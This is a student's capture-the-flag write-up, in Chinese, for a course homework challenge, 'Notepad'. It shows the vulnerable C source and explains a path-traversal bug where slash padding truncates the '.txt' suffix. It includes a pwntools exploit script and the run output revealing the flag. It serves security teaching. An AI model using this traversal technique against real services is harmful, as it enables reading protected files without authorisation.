# Simple PWN 0x31(2023 HW - Notepad - Stage - 1)
## Description & Hint
> nc 10.113.184.121 10044
>
>You should solve the PoW to invoke a new instance.
>You can use the pow_solver.py script in the released zip to solve the PoW.
>After you solve the PoW, the service will create a new container and show >you the port. Connect it to play this challenge!
>The container will be destroy at 5 minutes. So you should debug your exploit in your environment.
>
>Image Base: ubuntu:22.04 (e4c58958181a)
>
>Try to get /flag_user.
>
>File: Notepad-release_fa266ab516200ef4.zip
>
>Hint: Path Traversal
## Source code
:::spoiler Source Code
```cpp
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#include <time.h>
#include <arpa/inet.h>
#include <limits.h>
#include "SECCOMP.h"
#define USERNAME_LEN 0x10
#define PASSWORD_LEN 0x10
#define CMD_Register 0x1
#define CMD_Login 0x2
#define CMD_GetFolder 0x11
#define CMD_NewNote 0x12
#define CMD_Flag 0x8787
#define RES_Success 0x0
#define RES_Failed 0x1
#define RES_NotFound 0x2
struct sock_filter seccompfilter[]={
BPF_STMT(BPF_LD | BPF_W | BPF_ABS, ArchField),
BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, AUDIT_ARCH_X86_64, 1, 0),
BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_KILL),
BPF_STMT(BPF_LD | BPF_W | BPF_ABS, SyscallNum),
Allow(open),
Allow(openat),
Allow(lseek),
Allow(read),
Allow(write),
Allow(socket),
Allow(connect),
Allow(close),
Allow(readlink),
Allow(getdents),
Allow(getrandom),
Allow(brk),
Allow(rt_sigreturn),
Allow(exit),
Allow(exit_group),
BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_KILL),
};
struct sock_fprog filterprog={
.len=sizeof(seccompfilter)/sizeof(struct sock_filter),
.filter=seccompfilter
};
void apply_seccomp(){
if(prctl(PR_SET_NO_NEW_PRIVS,1,0,0,0)){
perror("Seccomp Error");
exit(1);
}
if(prctl(PR_SET_SECCOMP,SECCOMP_MODE_FILTER,&filterprog)==-1){
perror("Seccomp Error");
exit(1);
}
return;
}
struct Command
{
__uint32_t cmd;
u_char token[32];
u_char args[128];
};
struct Response
{
__uint32_t code;
u_char res[256];
};
char *Token;
void errorexit(char *msg)
{
puts(msg);
exit(-1);
}
int connect_backend()
{
int fd = socket(AF_INET, SOCK_STREAM, 0);
struct sockaddr_in info;
bzero(&info, sizeof(info));
info.sin_family = PF_INET;
info.sin_addr.s_addr = inet_addr("127.0.0.1");
info.sin_port = htons(8765);
if(connect(fd, (struct sockaddr *)&info, sizeof(info))==-1){
return -1;
}
return fd;
}
void command_login(int fd, char *username, char *password)
{
if(strlen(username)>=USERNAME_LEN || strlen(password)>=PASSWORD_LEN){
errorexit("Username or Password too long.");
return ;
}
struct Command cmd;
memset(&cmd, 0, sizeof(cmd));
cmd.cmd = CMD_Login;
strcpy(cmd.args, username);
strcpy(&cmd.args[strlen(cmd.args)+1], password);
write(fd, &cmd, sizeof(cmd));
struct Response res;
memset(&res, 0, sizeof(res));
if(read(fd, &res, sizeof(res))!=sizeof(res)){
errorexit("Error while recv backend response.");
}
if(res.code==RES_Success){
Token = strdup(res.res);
puts("Login Success!");
}
else{
Token = 0;
puts("Login Failed!");
}
}
void command_register(int fd, char *username, char *password)
{
if(strlen(username)>=USERNAME_LEN || strlen(password)>=PASSWORD_LEN){
puts("Username or Password too long.");
return ;
}
struct Command cmd;
memset(&cmd, 0, sizeof(cmd));
cmd.cmd = CMD_Register;
strcpy(cmd.args, username);
strcpy(&cmd.args[strlen(cmd.args)+1], password);
write(fd, &cmd, sizeof(cmd));
struct Response res;
memset(&res, 0, sizeof(res));
if(read(fd, &res, sizeof(res))!=sizeof(res)){
puts("Error while recv backend response.");
return ;
}
if(res.code==RES_Success){
puts("Register Success!");
}
else{
puts("Register Failed!");
}
}
void command_newnote(int fd, char *notename, char *content)
{
if(!Token)
{
puts("Please login first.");
return ;
}
struct Command cmd;
memset(&cmd, 0, sizeof(cmd));
struct Response res;
memset(&res, 0, sizeof(res));
cmd.cmd = CMD_NewNote;
strcpy(cmd.token, Token);
strncpy(cmd.args, notename, sizeof(cmd.args));
write(fd, &cmd, sizeof(cmd));
if(read(fd, &res, sizeof(res))!=sizeof(res)){
puts("Error while recv backend response.");
return ;
}
if(res.code!=RES_Success){
puts("Note create failed.");
return ;
}
//puts("Backend has created the note file.");
int newfile_fd = open(res.res, O_RDWR);
if(newfile_fd<0){
puts("Note create failed.");
return ;
}
write(newfile_fd, content, strlen(content));
close(newfile_fd);
puts("Note created!");
}
int openfile(int fd, char *notename, off_t offset, int oflag)
{
if(!Token)
{
puts("Please login first.");
return -1;
}
struct Command cmd;
memset(&cmd, 0, sizeof(cmd));
struct Response res;
memset(&res, 0, sizeof(res));
cmd.cmd = CMD_GetFolder;
strcpy(cmd.token, Token);
write(fd, &cmd, sizeof(cmd));
if(read(fd, &res, sizeof(res))!=sizeof(res)){
puts("Error while recv backend response.");
return -1;
}
if(res.code!=RES_Success){
puts("Couldn't get note storage path.");
return -1;
}
char path[128];
//strcpy(path, res.res);
snprintf(path, sizeof(path), "%s%s.txt",res.res, notename);
//char rpath[128];
//realpath(path, rpath);
//puts(rpath);
int filefd = open(path, oflag);
if(filefd < 0){
puts("Couldn't open the file.");
return -1;
}
lseek(filefd, offset, SEEK_SET);
return filefd;
}
void command_editnote(int fd, char *notename, off_t offset, char *content)
{
int filefd = openfile(fd, notename, offset, O_RDWR);
write(filefd, content, strlen(content));
close(filefd);
puts("Note modified.");
}
void command_shownote(int fd, char *notename, off_t offset)
{
int filefd = openfile(fd, notename, offset, O_RDONLY);
char buf[128];
ssize_t readlen = read(filefd, buf, sizeof(buf));
if(readlen<=0){
puts("Read note failed.");
return ;
}
write(1, buf, readlen);
}
void menu()
{
puts("+========== Notepad ==========+");
puts("| 1. Login |");
puts("| 2. Register |");
puts("| 3. New Note |");
puts("| 4. Edit Note |");
puts("| 5. Show Note |");
puts("+========================================+");
printf("> ");
}
long readint()
{
char buf[32];
for(int i=0;i<31;i++){
if(read(0, &buf[i], 1)!=1)
break;
if(buf[i]=='\n'){
buf[i] = 0;
break;
}
}
return atol(buf);
}
size_t readlen(char *buf, size_t len)
{
size_t i=0;
for(;i<len;i++){
if(read(0, &buf[i], 1)!=1)
break;
if(buf[i]=='\n')
buf[i] = 0;
}
return i;
}
int main()
{
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
apply_seccomp();
char username[0x20];
char password[0x20];
char notename[256];
char *content;
size_t clen;
off_t offset;
while(1){
menu();
int choice = readint();
int backendfd = connect_backend();
if(backendfd<=0)errorexit("Couldn't connect to backend.");
switch(choice){
case 1:
printf("Username: ");
read(0, username, 0x10);
printf("Password: ");
read(0, password, 0x10);
command_login(backendfd, username, password);
break;
case 2:
printf("Username: ");
read(0, username, 0x10);
printf("Password: ");
read(0, password, 0x10);
command_register(backendfd, username, password);
break;
case 3:
printf("Note Name: ");
read(0, notename, 128);
if(strlen(notename) && notename[strlen(notename)-1]=='\n')
notename[strlen(notename)-1] = 0;
printf("Content Length: ");
clen = (size_t)readint();
if(clen > 1024){
puts("Too Long");
break;
}
content = malloc(clen+1);
printf("Content: ");
readlen(content, clen);
command_newnote(backendfd, notename, content);
break;
case 4:
printf("Note Name: ");
read(0, notename, 128);
if(strlen(notename) && notename[strlen(notename)-1]=='\n')
notename[strlen(notename)-1] = 0;
printf("Offset: ");
offset = (off_t)readint();
printf("Content Length: ");
clen = (size_t)readint();
if(clen > 1024){
puts("Too Long");
break;
}
content = malloc(clen+1);
printf("Content: ");
readlen(content, clen);
command_editnote(backendfd, notename, offset, content);
break;
case 5:
printf("Note Name: ");
read(0, notename, 128);
if(strlen(notename) && notename[strlen(notename)-1]=='\n')
notename[strlen(notename)-1] = 0;
printf("Offset: ");
offset = (off_t)readint();
command_shownote(backendfd, notename, offset);
break;
default:
break;
}
close(backendfd);
}
return 0;
}
```
:::
## Recon
這一題是等到助教給出hint才之到大概的方向,我一開始也是有一些初步的方向,不過不知道怎麼把卡住的地方解決,最後也是求助@davidchen學長才知道確切的方法。
1. 首先,感謝@csotaku 的提示與切入方向,既然知道是path traversal的洞,那就代表某個地方我們可以輸入一些簡單的payload,例如`./`,而這個地方還必須和讀檔有關係,想到這邊我們的選擇也呼之欲出,洞就在==openfile==的地方,我們輸入的notename會和`res.res`以及`.txt` concatenate在一起,,不過這邊有個問題是既然我們要順利讀檔,在說明中就有提到檔案名稱是==flag_user==,而不是flag_user.txt,這樣的話我們就應該要想辦法把`.txt` bypass掉
想到這邊我先說我的看法,如果要把`.txt` bypass掉,一開始是參考[飛飛的網站範例](https://feifei.tw/file-path-traversal/)中有針對URL based的path traversal類似的情況在payload的最後面加上null byte,所以我想可以用同樣的方式bypass(`\x00`),但是怎樣的沒有成功,另外我還有一個疑問,res.res的部分到底是不是一個path,如果不是,就代表我們也需要把它蓋掉或是用其他方法leak出來之類的;當然如果是path的話就沒差了,但我很常陷入這種沒有必要的迴圈轉不出來,其實現在仔細想想,他一定是一個path,因為他最後也是要和`{notename}.txt`接在一起,如果他不是path就一定讀不到
2. 反正後來和@davidchen討論完才大致知道如何寫script,簡單來說,因為path的限制長度是128 bytes,所以`res.res` + {notename} + `.txt`基本上長度不會超過128 bytes,如果會的話就會被擠出去,所以我們能夠控制的部分就是notename,雖然我們不知道`res.res`的長度多少,但我們可以爆破,讓這三者串在一起會大於128 bytes並且沒有被寫入path的部分就是`.txt`,這樣的話就可以順利讀到flag的內容,具體怎麼做就是一直加上`/`
## Exploit - Path Traversal
因為這一題需要進行pow,才能順利開一個vm給我們,並且把port number讓我們連過去
### ==PoW.py==
這是助教寫的script
```python
#!/usr/bin/env python3
import hashlib
import sys
prefix = sys.argv[1]
difficulty = int(sys.argv[2])
zeros = '0' * difficulty
def is_valid(digest):
if sys.version_info.major == 2:
digest = [ord(i) for i in digest]
bits = ''.join(bin(i)[2:].zfill(8) for i in digest)
return bits[:difficulty] == zeros
i = 0
while True:
i += 1
s = prefix + str(i)
if is_valid(hashlib.sha256(s.encode()).digest()):
print(i)
exit(0)
```
### ==pow.py==
這是我寫的pow,就是簡單的subprocess的執行助教給的script,然後傳送和接收一些IO
```python
from pwn import *
from subprocess import *
'''#########
Dealing Connection and PoW
#########'''
r = remote('10.113.184.121', 10044)
r.recvuntil(b'sha256(')
prefix = r.recvuntil(b' + ').strip().decode().split(' ')[0]
difficulty = r.recvline().strip().decode().split('(')[-1].split(')')[0]
log.info(f"PoW's prefix = {prefix}, difficulty = {difficulty}")
p = Popen(f"python ../pow_solver.py {prefix} {difficulty}", stdin=PIPE, stdout=PIPE, universal_newlines=True, shell=True)
pow_result = p.stdout.readline().strip()
log.info(f'PoW Result = {pow_result}')
r.sendline(pow_result.encode())
r.recvuntil(b'Your service is running on port ')
init_port = r.recvuntil(b'.').decode().split('.')[0]
log.success(f'Receive Port = {init_port}')
r.close()
```
### ==exp.py==
```python
from pwn import *
from tqdm import *
cmd_dic = {1:'Login', 2:'Register', 3:'New Note', 4:'Edit Note', 5:'Show Note'}
def dealing_cmd(r, cmd, note_name=b'test', content_len=b'5', content=b'test\n', offset=b'0', random='0'):
r.recvlines(7)
if cmd == 1 or cmd == 2:
r.sendline(str(cmd).encode())
r.sendlineafter(b'Username: ', b'sbk' + random.encode())
r.sendlineafter(b'Password: ', b'sbk' + random.encode())
if b'Success' in r.recvline():
log.success(f'Command {cmd_dic[cmd]} Successful')
else:
log.error('Command Login Failed!!!')
if cmd == 3:
r.sendline(str(cmd).encode())
r.sendlineafter(b'Note Name: ', note_name)
r.sendlineafter(b'Content Length: ', content_len)
r.sendlineafter(b'Content: ', content)
if b'created' in r.recvline():
log.success(f'Command {cmd_dic[cmd]} Successful')
else:
log.error(f'Command {cmd_dic[cmd]} Failed!!!')
if cmd == 4:
r.sendline(str(cmd).encode())
r.sendlineafter(b'Note Name: ', note_name)
r.sendlineafter(b'Offset: ', offset)
r.sendlineafter(b'Content Length: ', content_len)
r.sendlineafter(b'Content: ', content)
if b'modified' in r.recvline():
log.success(f'Command {cmd_dic[cmd]} Successful')
else:
log.error(f'Command {cmd_dic[cmd]} Failed!!!')
if cmd == 5:
r.sendline(str(cmd).encode())
r.sendlineafter(b'Note Name: ', note_name)
r.sendlineafter(b'Offset: ', offset)
res = r.recvline().decode().strip()
if 'flag' in res:
log.success(res)
log.success(r.recvline().decode().strip())
return 1
'''#########
Dealing Exploit
#########'''
init_port = sys.argv[1]
r = remote('10.113.184.121', init_port)
random = os.urandom(1).hex()
dealing_cmd(r, 2, random=random)
dealing_cmd(r, 1, random=random)
payload = b'../../../../../../'
while len(payload) < 128:
payload += b'/'
# print(payload)
res = dealing_cmd(r, 5, payload + b'flag_user')
if res:
print(f'Successful payload = {payload + b"flag_user"}')
break
log.info("Done")
r.interactive()
```
所以實際執行會是:
```bash
$ python pow.py
[+] Opening connection to 10.113.184.121 on port 10044: Done
[*] PoW's prefix = CrWNJGbeaBn7NjUe, difficulty = 22
[*] PoW Result = 4122665
[+] Receive Port = 26616
[*] Closed connection to 10.113.184.121 port 10044
$ python exp-1.py 26616
python exp-1.py 26616
[+] Opening connection to 10.113.184.121 on port 26616: Done
[+] Command Register Successful
[+] Command Login Successful
[+] flag{Sh3l1cod3_but_y0u_c@nnot_get_she!!}+========== Notepad ==========+
[+] | 1. Login |
Successful payload = b'../../../../../../////////////////////////////////////////////////////////////////////////////////flag_user'
[*] Done
[*] Switching to interactive mode
| 2. Register |
| 3. New Note |
| 4. Edit Note |
| 5. Show Note |
+========================================+
> $
```
Flag: `flag{Sh3l1cod3_but_y0u_c@nnot_get_she!!}`